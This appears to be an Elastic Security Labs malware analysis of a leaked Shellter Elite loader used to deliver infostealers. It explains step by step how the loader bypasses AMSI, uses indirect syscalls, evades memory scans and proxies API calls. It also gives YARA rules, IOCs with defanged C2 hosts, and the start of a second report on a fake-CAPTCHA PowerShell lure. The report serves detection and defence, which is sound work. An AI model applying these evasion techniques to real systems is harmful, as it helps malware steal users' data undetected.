The “Force Preload System Modules” feature enables preloading of essential Windows subsystem DLLs, such as advapi32.dll, wininet.dll, and crypt32.dll, to support the underlying payload’s operations. The three configurable options include:

--Force-PreloadModules-Basic (16 general-purpose modules)  
--Force-PreloadModules-Networking (5 network-specific modules)  
--Force-PreloadModules-Custom (up to 16 user-defined modules)

These modules are being loaded through either LoadLibraryExW or LdrLoadDll. Details on API proxying through custom Vectored Exception Handlers (VEH) will be discussed in a subsequent section.

Below is an example of a list of preloaded modules in a SHELLTER-protected payload that matches the --Force-PreloadModules-Basic option, found in a sample that deploys a simple C++ loader client abusing BITS (Background Intelligent Transfer Service) for C2 – an uncommon approach favored by some threats.

The following example is a list that matches the --Force-PreloadModules-Networking option found in a sample loading LUMMA. 

This feature (released in Shellter Pro Plus v10.x) leverages the call stack evasion capability to conceal the source of the LoadLibraryExW call while loading networking and cryptography-related libraries.
Below is an example of a procmon trace when loading wininet.dll, showing a truncated call stack: 

In the same sample that has the --Force-PreloadModules-Basic flag enabled, we observed that the dependencies of the preloaded modules were also subject to call stack corruption. For instance, urlmon.dll also conceals the source of the LoadLibraryExW call for its dependencies iertutil.dll, srvcli.dll, and netutils.dll.
Unlinking of AV/EDR Modules
SHELLTER includes functionality to unlink decoy DLL modules that are placed inside the Process Environment Block (PEB). These decoy modules are used by some security vendors as canaries to monitor when shellcode attempts to enumerate the PEB LDR list manually. PEB LDR is a structure in Windows that contains information about a process's loaded modules.

We only observed one unique module name based on its hash (different per sample), which ends up resolving to kern3l32.dll [sic].
API Hashing Obfuscation
Observed samples employ time-based seeding to obfuscate API addresses. The malware first reads the SystemTime value from the KUSER_SHARED_DATA structure at address 0x7FFE0014 to derive a dynamic XOR key.

It then uses a seeded-ROR13 hashing algorithm on API names to resolve the function addresses at runtime.

Once resolved, optionally, these pointers are obfuscated by XORing them with the time-based key and applying a bitwise rotation before being stored in a lookup table. This tactic is applied throughout the binary to conceal a variety of data such as other function pointers, syscall stubs, and handles of loaded modules. 

License Check and Self-disarm
For each SHELLTER payload, there are three embedded FILETIME structures. In an example sample, these were found to be:

License expiry datetime (2026-04-17 19:17:24.055000)  
Self-disarm datetime (2026-05-21 19:44:43.724952)  
Infection start datetime (2025-05-21 19:44:43.724952)


The license expiry check compares the current time to the license expiry datetime, setting the license_valid flag in the context structure. There are 28 unique call sites (likely 28 licensed features) to the license validity check, where the license_valid flag determines whether the main code logic is skipped, confirming that the license expiry datetime acts as a kill switch.

By default, the self-disarm date is set exactly one year after the initial infection start date. When the self-disarm flag is triggered, several cleanup routines are executed. One such routine involves unmapping the manually loaded ntdll module (if present) and clearing the NTAPI lookup table, which references either the manually mapped ntdll module or the one loaded during process initialization. 

While the Self-disarm and Infection start datetimes are different from sample to sample, we note that the License expiry datetime (2026-04-17 19:17:24.055000) remains constant.
It is possible that this time is uniquely generated for each license issued by The Shellter Project. If so, it would support the hypothesis that only a single copy of Shellter Elite has been acquired for malicious use. This value does not appear in static analysis, but shows up in the unpacked first stage.
| SHA256 | License Expiration | Self-disarm | Infection Start | Family |
| :---- | :---- | :---- | :---- | :---- |
| c865f24e4b9b0855b8b559fc3769239b0aa6e8d680406616a13d9a36fbbc2d30 | 2026-04-17 19:17:24.055000 | 2026-05-27 19:57:42.971694 | 2025-05-27 19:57:42.971694 | RHADAMANTHYS |
| 7d0c9855167e7c19a67f800892e974c4387e1004b40efb25a2a1d25a99b03a10 | 2026-04-17 19:17:24.055000 | 2026-05-21 19:44:43.724953 | 2025-05-21 19:44:43.724953 | UNKNOWN |
| b3e93bfef12678294d9944e61d90ca4aa03b7e3dae5e909c3b2166f122a14dad | 2026-04-17 19:17:24.055000 | 2026-05-24 11:42:52.905726 | 2025-05-24 11:42:52.905726 | ARECHCLIENT2 |
| da59d67ced88beae618b9d6c805f40385d0301d412b787e9f9c9559d00d2c880  | 2026-04-17 19:17:24.055000 | 2026-04-27 22:40:00.954060 | 2025-04-27 22:40:00.954060 | LUMMA |
| 70ec2e65f77a940fd0b2b5c0a78a83646dec17583611741521e0992c1bf974f1  | 2026-04-17 19:17:24.055000 | 2026-05-16 16:12:09.711057 | 2025-05-16 16:12:09.711057 | UNKNOWN |
Below is a YARA rule that can be used to identify this hardcoded license expiry value in the illicit SHELLTER samples we’ve examined:
```yara

rule SHELLTER_ILLICIT_LICENSE {

    meta:

        author = "Elastic Security"

        last_modified = "2025-07-01"

        os = "Windows"

        family = "SHELLTER"

        threat_name = "SHELLTER_ILLICIT_LICENSE"
strings:

    // 2026-04-17 19:17:24.055000  
    $license_server = { c7 84 24 70 07 00 00 70 5e 2c d2 c7 84 24 74 07 00 00 9e ce dc 01}

condition:  
    any of them  

}  
### Memory Scan Evasion

SHELLTER-protected samples implemented various techniques, including runtime evasions, to avoid detection. These types of techniques include: 

- Decoding and re-encoding instructions at runtime  
- Removal of execute permissions on inactive memory pages  
- Reducing footprint, impacting in-memory signatures using YARA  
- Using Windows internals structures, such as the `PEB`, as temporary data holding spots

SHELLTER generates a trampoline-style stub based on the operating system version. There is a 4 KB page that holds this stub, where the memory permissions fluctuate using `NtQueryVirtualMemory` and `NtProtectVirtualMemory`.

![Initial memory page showing memory not committed](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt79210aadf55f486a/6a7c9507fc63ab66a76473d8/image18.png "Initial memory page showing memory not committed")

![Memory page moves to PAGE_READWRITE](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt124a53172486eb79/6a7c95092f00b2fa76ef924e/image13.png "Memory page moves to PAGE_READWRITE")

Once the page is active, the encoded bytes can be observed at this address, `0x7FF5FFCE0000`.

![Encoded trampoline stub](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt320e55ea42db0af1/6a7c950c2f00b20755ef9254/image21.png "Encoded trampoline stub")

SHELLTER decodes this page when active through an XOR loop using the derived `SystemTime` key from the `KUSER_SHARED_DATA` structure.

![Encoding XOR loop for encoding/decoding trampoline stub](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt42d619eed677941d/6a7c950f73d9bd7314298010/image12.png "Encoding XOR loop for encoding/decoding trampoline stub")

Below is this same memory page (`0x7FF5FFCE0000`), showing the decoded trampoline stub for the syscall (`ntdll_NtOpenFile`).

![Decoded trampoline stub for NtOpenFile](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt5e3869c3cd8165e1/6a7c95127cfd7a0aca3150da/image36.png "Decoded trampoline stub for NtOpenFile")

When the functionality is needed, the memory page permissions are set with Read/Execute (RX) permissions. After execution, the pages are set to inactive.

![Memory page moves to PAGE_EXECUTE_READ](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4c477ecd3b8f36ee/6a7c9514e3a2194917999b4a/image42.png "Memory page moves to PAGE_EXECUTE_READ")

The continuous protection of key functionality during runtime complicates both analysis and detection efforts. This level of protection is uncommon in general malware samples.

### Indirect Syscalls / Call stack Corruption

As shown in the previous section, SHELLTER bypasses user-mode hooks by using trampoline-based indirect syscalls. Instead of invoking `syscall` directly, it prepares the stack with the address of a clean `syscall` instruction from `ntdll.dll`. A `ret` instruction then pops this address into the `RIP` register, diverting execution to the `syscall` instruction stealthily.

![Trampoline code](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt458ab950a88dac11/6a7c95177cfd7a6e6a3150de/image1.png "Trampoline code")

![Syscall instruction from clean ntdll.dll](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt883d50abe99adb10/6a7c951a7cfd7a817a3150e2/image31.png "Syscall instruction from clean ntdll.dll")

Below is an example of Elastic Defend `VirtualProtect` events, showing the combination of the two evasions (indirect syscall and call stack truncation). This technique can bypass or disrupt various security detection mechanisms.

![Elastic Defend eventing for indirect calls and truncated call stacks](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt926aedbf4fab58cd/6a7c951d51156a7f272bcd03/image16.png "Elastic Defend eventing for indirect calls and truncated call stacks")

### Advanced VM/Sandbox Detection

SHELLTER’s documentation makes a reference to a hypervisor detection feature. A similar capability is observed in our malicious samples after a call to `ZwQuerySystemInformationEx` using `CPUID` and `_bittest` instructions. This functionality returns various CPU information along with the Hyper-Threading Technology (HTT) flag. 

![Hypervisor detection](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt79e57aec010e6624/6a7c9520da3d050221634171/image17.png "Hypervisor detection")

### Debugger Detection (UM/KM)

SHELLTER employs user-mode and kernel-mode debugging detection using Process Heap flags and checking the `KdDebuggerEnabled` flag via the `_KUSER_SHARED_DATA` structure.

![Debugging detections](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt693e5ca2ea725405/6a7c95235967e56c795d793a/image23.png "Debugging detections")

### AMSI Bypass

There are two methods of AMSI bypassing. The first method involves in-memory patching of AMSI functions. This technique searches the functions for specific byte patterns and modifies them to alter the function’s logic. For example, it overwrites a 4-byte string "AMSI" with null bytes and patches conditional jumps to its opposite. 

![Patch the “AMSI” string in the AMSI functions to null bytes](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt1f836de05be9f8d1/6a7c95266c6eac738ef0e7e3/image9.png "Patch the “AMSI” string in the AMSI functions to null bytes")

The second method is slightly more sophisticated. First, it optionally attempts to sabotage the Component Object Model (COM) interface lookup by finding the `CLSID_Antimalware` GUID constant `{fdb00e52-a214-4aa1-8fba-4357bb0072ec}` within `amsi.dll`, locating a pointer to it in a writable data section, and corrupting that pointer to make it point 8 bytes before the actual GUID. 

![Patch reference point to CLSID_Antimalware GUID constant](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt54d7a745d79971bc/6a7c9528da3d05f1c0634175/image2.png "Patch reference point to CLSID_Antimalware GUID constant")

The targeted pointer is the CLSID pointer in the AMSI module's Active Template Library (ATL) object map entry, a structure used by the `DllGetClassObject` function to find and create registered COM classes. By corrupting the pointer in this map, the lookup for the antimalware provider will fail, preventing it from being created, thus causing `AmsiInitialize` to fail with a `CLASS_E_CLASSNOTAVAILABLE` exception.

![AmsiAntimalware ATL Object Map entry in amsi.dll](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta1cd3f95b735cb0d/6a7c952b4c4bfb5f76cc7c74/image32.png "AmsiAntimalware ATL Object Map entry in amsi.dll")

It then calls `AmsiInitialize` - If the previous patch did not take place and the API call is successful, it performs a vtable patch as a fallback mechanism. The `HAMSICONTEXT` obtained from `AmsiInitialize` contains a pointer to an `IAntimalware` COM object, which in turn contains a pointer to its virtual function table. The bypass targets the function `IAntimalware::Scan` in this table. To neutralize it, the code searches the memory page containing the `IAntimalware::Scan` function for a `ret` instruction. 

![Find ret gadget in IAntimalware::Scan function](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt3620031b5e353510/6a7c952e3ce8e21caccefaf8/image8.png "Find ret gadget in IAntimalware::Scan function")

After finding a suitable gadget, it overwrites the `Scan` function pointer with the address of the `ret` gadget. The result is that any subsequent call to `AmsiScanBuffer` or `AmsiScanString` will invoke the patched vtable, jump directly to a `ret` instruction, and immediately return.

![Overwrite IAntimalware::Scan function pointer with ret gadget](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt29807d72358a68e3/6a7c9530ead8ec06b1ba4d5c/image38.png "Overwrite IAntimalware::Scan function pointer with ret gadget")

### Vectored Exception Handler API Proxy

There is a sophisticated API proxying mechanism which is achieved by redirecting calls to resolved APIs and crafted syscall stubs through a custom exception handler, which acts as a control-flow proxy. It can be broken down into two phases: setup and execution.

Phase 1 involves allocating two special memory pages that will serve as “triggers” for the exception handler. Protection for these pages are set to `PAGE_READONLY`, and attempting to execute code there will cause a `STATUS_ACCESS_VIOLATION` exception, which is intended. The addresses of these trigger pages are stored in the context structure:

* `api_call_trigger_page` - The page that will be called to initiate the proxy.  
* `api_return_trigger_page` - The page that the actual API will return to.

![Memory Allocation for trigger pages](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt61058f764262ef42/6a7c9533c2cc09558e2437bd/image40.png "Memory Allocation for trigger pages")

An exception handler template from the binary is copied into an allocated region and registered as the primary handler for the process using `RtlAddVectoredExceptionHandler`. A hardcoded magic placeholder value (`0xe1e2e3e4e5e6e7e8`) in the handler is then overwritten with a pointer to the context structure itself.

![In-memory patch of the magic value in the exception handler](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt3d23d1fe7e82bec5/6a7c95367cfd7a17d23150e6/image22.png "In-memory patch of the magic value in the exception handler")

Looking at an example callsite, if the VEH proxy is to be used, the address of `GetCurrentDirectoryA` will be stored into `ctx_struct->target_API_function`, and the API function pointer is overwritten with the address of the call trigger page. This trigger page is then called, triggering a `STATUS_ACCESS_VIOLATION` exception.

![Example callsite with the option to utilize VEH API proxying](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt56c804b087bf9dd9/6a7c9539227b1c4745592b11/image24.png "Example callsite with the option to utilize VEH API proxying")

Control flow is redirected to the exception handler. The faulting address of the exception context is checked, and if it matches the call trigger page, it knows it is an incoming API proxy call and performs the following:

* Save the original return address  
* Overwrite the return address on the stack with the address of the return trigger page  
* Sets the `RIP` register to the actual API address saved previously in `ctx_struct->target_API_function`.

The `GetCurrentDirectoryA` call is then executed. When it finishes, it jumps to the return trigger page, causing a second `STATUS_ACCESS_VIOLATION` exception and redirecting control flow back to the exception handler. The faulting address is checked to see if it matches the return trigger page; if so, `RIP` is set to the original return address and the control flow returns to the original call site.

![Exception handler template](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt540551d774acad68/6a7c953bb437707e014d140f/image35.png "Exception handler template")

## Campaigns

In June, Elastic Security Labs identified multiple campaigns deploying various information stealers protected by Shellter Elite as recorded by license information present in each binary. By taking advantage of the above tooling, we observed threat actors across different campaigns quickly integrate this highly evasive loader into their own workflows. 

![Activity Timeline](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt948a006c7bf9b1d6/6a7c953e8fc2d017c83e8cb9/image6.png "Activity Timeline")

### LUMMA

LUMMA [infostealer](https://www.virustotal.com/gui/file/da59d67ced88beae618b9d6c805f40385d0301d412b787e9f9c9559d00d2c880/details) was being distributed with SHELLTER starting in late April, as evidenced by metadata within binaries. While the initial infection vector is not clear, we were able to [verify](https://app.any.run/tasks/eab157aa-5609-4b33-a571-808246d1cf92) (using ANY.RUN) that related files were being hosted on the [MediaFire](https://www.mediafire.com/) file hosting platform.

![Submission data for the LUMMA sample](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt726ea8bd916f2e15/6a7c95414c4bfb99fdcc7c7a/image5.png "Submission data for the LUMMA sample")

### Want-to-Sell

On May 16th, Twitter/X user [@darkwebinformer](https://x.com/DarkWebInformer) [posted](https://x.com/DarkWebInformer/status/1923472392157790700) a screenshot with the caption:  
> 🚨Shellter Elite v11.0 up for sale on a popular forum

![Dark Web Informer’s screenshot of Shellter Elite [Sell] forum post](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt14963faab7f3647f/6a884568fe5e84092f38ad81/image19.png "Dark Web Informer’s screenshot of Shellter Elite [Sell] forum post")

“Exploit Garant” in this case refers to an escrow-like third-party that mediates the transaction.

### ARECHCLIENT2 

Starting around May, we observed campaigns [targeting](https://www.reddit.com/r/PartneredYoutube/comments/1ks2svg/skillshare_sponsorship/) content creators with lures centered around sponsorship opportunities. These appear to be phishing emails sent to individuals with a YouTube channel impersonating brands such as Udemy, Skillshare, Pinnacle Studio, and Duolingo. The emails include download links to archive files (`.rar`), which contain legitimate promotional content packaged with a SHELLTER-protected executable. 

![RAR archive contents](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4cc85b12fc402538/6a7c95447cfd7a558d3150f0/image41.png "RAR archive contents")

This underlying [executable](https://www.virustotal.com/gui/file/748149df038a771986691e3f54afea609ceb9fbfcbec92145beb586bec039e6a/details) shares traits and behaviors with our previous SHELLTER analysis. As of this writing, we can still see [samples](https://www.virustotal.com/gui/file/b3e93bfef12678294d9944e61d90ca4aa03b7e3dae5e909c3b2166f122a14dad/details) with very low detection rates in VirusTotal. This is due to multiple factors associated with custom-built features to avoid static analysis, including polymorphic code, backdooring code into legitimate applications, and the application of code-signing certificates. 

![Low detection of SHELLTER-protected ARECHCLIENT2](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt481b42c807999a7e/6a7c954651156a26592bcd0b/image25.png "Low detection of SHELLTER-protected ARECHCLIENT2")

The embedded payload observed in this file deploys the infostealer ARECHCLIENT2, also known as SECTOP RAT. The C2 for this stealer points to `185.156.72[.]80:15847,` which was [previously identified](https://www.elastic.co/security-labs/a-wretch-client) by our team on June 17th when we discussed this threat in association with the GHOSTPULSE loader.

### RHADAMANTHYS

These infections begin with YouTube videos targeting topics such as game hacking and gaming mods, with video comments linking to the malicious files hosted on MediaFire. 

![Distribution through YouTube comments](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltaf2b05de5c687034/6a7c954a33fa8a84021fcd8f/image10.png "Distribution through YouTube comments")

One of the [files](https://www.virustotal.com/gui/file/c865f24e4b9b0855b8b559fc3769239b0aa6e8d680406616a13d9a36fbbc2d30/details) that was previously distributed using this method has been submitted 126 unique times as of this publication by different individuals.

![Submission data for RHADAMANTHYS sample](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt0f92557fba3efebc/6a7c954d51156aea582bcd13/image3.png "Submission data for RHADAMANTHYS sample")

This file shares the same behavioral characteristics as the same underlying code from the previous SHELLTER analysis sections. The embedded payload with this sample deploys RHADAMANTHYS infostealer.

![RHADAMANTHYS strings](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt0b238b91592a55f2/6a7c9550bdcff01c98c3d4b3/image46.png "RHADAMANTHYS strings")

## SHELLTER Unpacker

Elastic Security Labs is [releasing](https://github.com/elastic/labs-releases/tree/main/tools/shellter) a dynamic unpacker for binaries protected by SHELLTER. This tool leverages a combination of dynamic and static analysis techniques to automatically extract multiple payload stages from a SHELLTER-protected binary.

As SHELLTER offers a wide range of optional features, this unpacker is not fully comprehensive, although it does successfully process a large majority of tested samples. Even with unsupported binaries, it is typically able to extract at least one payload stage.

**For safety reasons, this tool should only be executed within an isolated virtual machine.** During the unpacking process, potentially malicious executable code is mapped into memory. Although some basic safeguards have been implemented, they are not infallible.

![SHELLTER Unpacker screenshot](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt7897b0b6d9904446/6a7c9553bdcff004d4c3d4b7/image26.png "SHELLTER Unpacker screenshot")

## Conclusion

Despite the commercial OST community's best efforts to retain their tools for legitimate purposes, mitigation methods are imperfect. They, like many of our customers, face persistent, motivated attackers. Although the Shellter Project is a victim in this case through intellectual property loss and future development time, other participants in the security space must now contend with real threats wielding more capable tools.

We expect:

* This illicit version of SHELLTER will continue to circulate through the criminal community and potentially transition to nation-state-aligned actors.  
* The Shellter Project will update and release a version that mitigates the detection opportunities identified in this analysis.  
  * Any new tooling will remain a target for malicious actors.  
* More advanced threats will analyze these samples and incorporate features into their toolsets.

Our aim is that this analysis will aid defenders in the early detection of these identified infostealer campaigns and prepare them for a potential expansion of these techniques to other areas of the offensive landscape.

## Malware and MITRE ATT&CK

Elastic uses the [MITRE ATT&CK](https://attack.mitre.org/) framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

### Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

* [Command and Control](https://attack.mitre.org/tactics/TA0011/)  
* [Collection](https://attack.mitre.org/tactics/TA0100/)  
* [Defense Evasion](https://attack.mitre.org/tactics/TA0005/)  
* [Execution](https://attack.mitre.org/tactics/TA0002/)  
* [Initial Access](https://attack.mitre.org/tactics/TA0001/)  
* [Resource Development](https://attack.mitre.org/tactics/TA0042/)

### Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

* [Application Layer Protocol](https://attack.mitre.org/techniques/T1071/)  
* [Data from Local System](https://attack.mitre.org/tactics/TA0009/)  
* [Process Injection: Thread Execution Hijacking](https://attack.mitre.org/techniques/T1055/003/)  
* [Obfuscated Files or Information: Junk Code Insertion](https://attack.mitre.org/techniques/T1027/016/)  
* [Content Injection](https://attack.mitre.org/tactics/TA0001/)  
* [Obtain Capabilities](https://attack.mitre.org/techniques/T1588/)

## Mitigating SHELLTER 

### Prevention

- [Shellcode from Unusual Microsoft Signed Module](https://github.com/elastic/protections-artifacts/blob/ff154ddf0762a4a030c8832eee7753cb19b950ff/behavior/rules/windows/defense_evasion_shellcode_from_unusual_microsoft_signed_module.toml)  
- [Unbacked Shellcode from Unsigned Module](https://github.com/elastic/protections-artifacts/blob/ff154ddf0762a4a030c8832eee7753cb19b950ff/behavior/rules/windows/defense_evasion_unbacked_shellcode_from_unsigned_module.toml)  
- [Shellcode Execution from Low Reputation Module](https://github.com/elastic/protections-artifacts/blob/ff154ddf0762a4a030c8832eee7753cb19b950ff/behavior/rules/windows/defense_evasion_shellcode_execution_from_low_reputation_module.toml)  
- [Potential Evasion via Invalid Code Signature](https://github.com/elastic/protections-artifacts/blob/ff154ddf0762a4a030c8832eee7753cb19b950ff/behavior/rules/windows/defense_evasion_potential_evasion_via_invalid_code_signature.toml)  
- [Thread Suspension from Unbacked Memory](https://github.com/elastic/protections-artifacts/blob/ff154ddf0762a4a030c8832eee7753cb19b950ff/behavior/rules/windows/defense_evasion_thread_suspension_from_unbacked_memory.toml)  
- [Suspicious Executable Memory Mapping](https://github.com/elastic/protections-artifacts/blob/ff154ddf0762a4a030c8832eee7753cb19b950ff/behavior/rules/windows/defense_evasion_suspicious_executable_memory_mapping.toml)

### YARA

Elastic Security has created YARA rules to identify this activity. 

yara

rule Windows_Trojan_Shellter {

    meta:

        author = "Elastic Security"

        creation_date = "2025-06-30"

        last_modified = "2025-06-30"

        os = "Windows"

        arch = "x86"

        category_type = "Trojan"

        family = "Shellter"

        threat_name = "Windows.Trojan.Shellter"

        reference_sample = "c865f24e4b9b0855b8b559fc3769239b0aa6e8d680406616a13d9a36fbbc2d30"
strings:  
    $seq_api_hashing = { 48 8B 44 24 ?? 0F BE 00 85 C0 74 ?? 48 8B 44 24 ?? 0F BE 00 89 44 24 ?? 48 8B 44 24 ?? 48 FF C0 48 89 44 24 ?? 8B 04 24 C1 E8 ?? 8B 0C 24 C1 E1 ?? 0B C1 }  
    $seq_debug = { 48 8B 49 30 8B 49 70 8B 40 74 0B C1 25 70 00 00 40 85 C0 75 22 B8 D4 02 00 00 48 05 00 00 FE 7F }  
    $seq_mem_marker = { 44 89 44 24 ?? 89 54 24 ?? 48 89 4C 24 ?? 33 C0 83 F8 ?? 74 ?? 48 8B 44 24 ?? 8B 4C 24 ?? 39 08 75 ?? EB ?? 48 63 44 24 ?? 48 8B 4C 24 }  
    $seq_check_jmp_rcx = { 48 89 4C 24 ?? B8 01 00 00 00 48 6B C0 00 48 8B 4C 24 ?? 0F B6 04 01 3D FF 00 00 00 75 ?? B8 01 00 00 00 48 6B C0 01 48 8B 4C 24 ?? 0F B6 04 01 3D E1 00 00 00 75 ?? B8 01 00 00 00 }  
    $seq_syscall_stub = { C6 84 24 98 00 00 00 4C C6 84 24 99 00 00 00 8B C6 84 24 9A 00 00 00 D1 C6 84 24 9B 00 00 00 B8 C6 84 24 9C 00 00 00 00 C6 84 24 9D 00 00 00 00 C6 84 24 9E 00 00 00 00 }  
    $seq_mem_xor = { 48 8B 4C 24 ?? 0F B6 04 01 0F B6 4C 24 ?? 3B C1 74 ?? 8B 44 24 ?? 0F B6 4C 24 ?? 48 8B 54 24 ?? 0F B6 04 02 33 C1 8B 4C 24 ?? 48 8B 54 24 ?? 88 04 0A }  
    $seq_excep_handler = { 48 89 4C 24 08 48 83 EC 18 48 B8 E8 E7 E6 E5 E4 E3 E2 E1 48 89 04 24 48 8B 44 24 20 48 8B 00 81 38 05 00 00 C0 }  
condition:  
    3 of them  

}

```
Observations
All observables are also available for download in both ECS and STIX format.
The following observables were discussed in this research.
| Observable | Type | Name | Reference |
| :---- | :---- | :---- | :---- |
| c865f24e4b9b0855b8b559fc3769239b0aa6e8d680406616a13d9a36fbbc2d30 | SHA-256     | Endorphin.exe | SHELLTER-PROTECTED RHADAMANTHYS |
| 7d0c9855167e7c19a67f800892e974c4387e1004b40efb25a2a1d25a99b03a10 | SHA-256      | SUPERAntiSpyware.exe | SHELLTER-PROTECTED UNKNOWN FAMILY  |
| b3e93bfef12678294d9944e61d90ca4aa03b7e3dae5e909c3b2166f122a14dad | SHA-256      | Aac3572DramHal_x64.exe | SHELLTER-PROTECTED ARECHCLIENT2 |
| da59d67ced88beae618b9d6c805f40385d0301d412b787e9f9c9559d00d2c880  | SHA-256      | Branster.exe | SHELLTER-PROTECTED LUMMA |
| 70ec2e65f77a940fd0b2b5c0a78a83646dec17583611741521e0992c1bf974f1 | SHA-256      | IMCCPHR.exe | SHELLTER-PROTECTED UNKNOWN FAMILY  |
| 263ab8c9ec821ae573979ef2d5ad98cda5009a39e17398cd31b0fad98d862892 | SHA-256      | Pinnacle Studio Advertising materials.rar | LURE ARCHIVE |
| eaglekl[.]digital | domain |  | LUMMA C&C server |
| 185.156.72[.]80 | ipv4-addr |  | ARECHCLIENT2 C&C server |
| 94.141.12[.]182 | ipv4-addr | plotoraus[.]shop server | RHADAMANTHYS C&C server |
References
The following were referenced throughout the above research:

https://x.com/DarkWebInformer/status/1923472392157790700  
https://www.shellterproject.com/shellter-editions-feature-comparison-table/  
https://www.shellterproject.com/Downloads/ShellterElite/Shellter_Elite_Exclusive_Features.pdf  
https://github.com/elastic/labs-releases/tree/main/tools/shellter



Chasing Eddies: New Rust-based InfoStealer used in CAPTCHA campaigns
Jia Yu Chan — Fri, 30 May 2025 00:00:00 GMT
Preamble
Elastic Security Labs has uncovered a novel Rust-based infostealer distributed via Fake CAPTCHA campaigns. This malware is hosted on multiple adversary-controlled web properties. This campaign leverages deceptive CAPTCHA verification pages that trick users into executing a malicious PowerShell script, which ultimately deploys the infostealer, harvesting sensitive data such as credentials, browser information, and cryptocurrency wallet details. We are calling this malware EDDIESTEALER.
This adoption of Rust in malware development reflects a growing trend among threat actors seeking to leverage modern language features for enhanced stealth, stability, and resilience against traditional analysis workflows and threat detection engines. A seemingly simple infostealer written in Rust often requires more dedicated analysis efforts compared to its C/C++ counterpart, owing to factors such as zero-cost abstractions, Rust’s type system, compiler optimizations, and inherent difficulties in analyzing memory-safe binaries.

Key takeaways

Fake CAPTCHA campaign loads EDDIESTEALER
EDDIESTEALER is a newly discovered Rust infostealer targeting Windows hosts
EDDIESTEALER receives a task list from the C2 server identifying data to target

Intial access
Overview
Fake CAPTCHAs are malicious constructs that replicate the appearance and functionality of legitimate CAPTCHA systems, which are used to distinguish between human users and automated bots. Unlike their legitimate counterparts, fake CAPTCHAs serve as gateways for malware, leveraging social engineering to deceive users. They often appear as prompts like "Verify you are a human" or "I'm not a robot," blending seamlessly into compromised websites or phishing campaigns. We have also encountered a similar campaign distributing GHOSTPULSE in late 2024.
From our telemetry analysis leading up to the delivery of EDDIESTEALER, the initial vector was a compromised website deploying an obfuscated React-based JavaScript payload that displays a fake “I'm not a robot” verification screen. 

Mimicking Google's reCAPTCHA verification interface, the malware uses the document.execCommand("copy") method to copy a PowerShell command into the user’s clipboard, next, it instructs the user to press Windows + R (to open the Windows run dialog box), then Ctrl + V to paste the clipboard contents, and finally Enter to execute the malicious PowerShell command.
This command silently downloads a second-stage payload (gverify.js) from the attacker-controlled domain hxxps://llll.fit/version/ and saves it to the user’s Downloads folder.

Finally, the malware executes gverify.js using cscript in a hidden window.

gverify.js is another obfuscated JavaScript payload that can be deobfuscated using open-source tools. Its functionality is fairly simple: fetching an executable (EDDIESTEALER) from hxxps://llll.fit/io and saving the file under the user’s Downloads folder with a pseudorandom 12-character file name.

EDDIESTEALER
Overview
EDDIESTEALER is a novel Rust-based commodity infostealer. The majority of strings that give away its malicious intent are encrypted. The malware lacks robust anti-sandbox/VM protections against behavioral fingerprinting. However, newer variants suggest that the anti-sandbox/VM checks might be occurring on the server side. With relatively straightforward capabilities, it receives a task list from the C2 server as part of its configuration to target specific data and can self-delete after execution if specified.
Stripped Symbols
EDDIESTEALER samples featured stripped function symbols, likely using Rust’s default compilation option, requiring symbol restoration before static analysis. We used [rustbinsign](https://github.com/N0fix/rustbinsign), which generates signatures for Rust standard libraries and crates based on specific Rust/compiler/dependency versions. While rustbinsign only detected [hashbrown](https://docs.rs/hashbrown/latest/hashbrown/) and [rustc-demangle](https://docs.rs/rustc-demangle/latest/rustc_demangle/), suggesting few external crates being used, it failed to identify crates such as [tinyjson](https://docs.rs/tinyjson/latest/tinyjson/) and [tungstenite](https://docs.rs/tokio-tungstenite/latest/tokio_tungstenite/) in newer variants. This occurred due to the lack of clear string artifacts. It is still possible to manually identify crates by finding unique strings and searching for the repository on GitHub, then download, compile and build signatures for them using the download_sign mode. It is slightly cumbersome if we don’t know the exact version of the crate being used. However, restoring the standard library and runtime symbols is sufficient to advance the static analysis process.

String Obfuscation
EDDIESTEALER encrypts most strings via a simple XOR cipher. Decryption involves two stages: first, the XOR key is derived by calling one of several key derivation functions; then, the decryption is performed inline within the function that uses the string.
The following example illustrates this, where sub_140020fd0 is the key derivation function, and data_14005ada8 is the address of the encrypted blob.

Each decryption routine utilizes its own distinct key derivation function. These functions consistently accept two arguments: an address within the binary and a 4-byte constant value. Some basic operations are then performed on these arguments to calculate the address where the XOR key resides.

